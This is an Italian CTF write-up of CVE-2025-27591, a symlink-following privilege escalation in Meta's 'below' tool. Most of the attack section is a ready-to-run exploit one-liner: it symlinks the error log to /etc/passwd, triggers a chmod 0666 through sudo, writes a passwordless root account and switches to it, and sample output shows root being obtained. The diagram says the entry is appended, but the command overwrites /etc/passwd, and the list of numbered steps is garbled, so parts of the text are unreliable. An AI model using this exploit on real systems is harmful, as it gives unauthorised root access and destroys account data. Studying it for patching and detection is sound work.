
CVE-2025-27591 – Meta sotto: escalation locale dei privilegi tramite seguito di symlink (HackTheBox CTF)
below: escalation locale dei privilegi tramite symlink| Campo | Dettagli |
|---|---|
| CVE | CVE-2025-27591 |
| Software | Meta below (monitor delle risorse di sistema) |
| Versioni interessate | < 0.9.0 |
| Vulnerabilità | Follow di symlink → sovrascrittura arbitraria di file come root |
| Autenticazione | Utente locale con accesso sudo a below |
| Impatto | Escalation locale dei privilegi a root |
| Contesto | Scoperta durante una CTF di HackTheBox |
Il tool di monitoraggio delle risorse di sistema below (di Meta Platforms, Inc.) contiene una falla nel proprio meccanismo di logging degli errori. Quando viene invocato tramite sudo, impone forzatamente i permessi 0666 sui propri file di log situati in /var/log/below/ senza prima verificare se il percorso di destinazione sia un symlink. Ciò consente a un attaccante locale di sostituire il file di log con un symlink che punta a qualsiasi file scrivibile da root, sovrascrivendolo di fatto con contenuti controllati.
Il codice di logging in below < 0.9.0 esegue queste operazioni in sequenza quando viene eseguito come root:
/var/log/below/error_root.logchmod(path, 0o666) — senza verificare se si tratta di un symlinkAl passaggio 4, se il percorso è stato sostituito con un symlink prima dell'esecuzione, la scrittura viene invece indirizzata alla destinazione del symlink.
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid"Passare una stringa temporale non valida costringe below a registrare un messaggio di errore. Il percorso di errore raggiunge il codice di logging che scrive ciecamente nel file, che ora è il nostro symlink.
chmod +x exploit.sh
./exploit.sh
Prerequisito: L'utente corrente deve avere i diritti
sudoper eseguire/usr/bin/below.
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
La vulnerabilità è stata corretta nella versione 0.9.0 di below. La correzione introduce un controllo sui symlink prima di qualsiasi operazione sui file nel percorso di logging.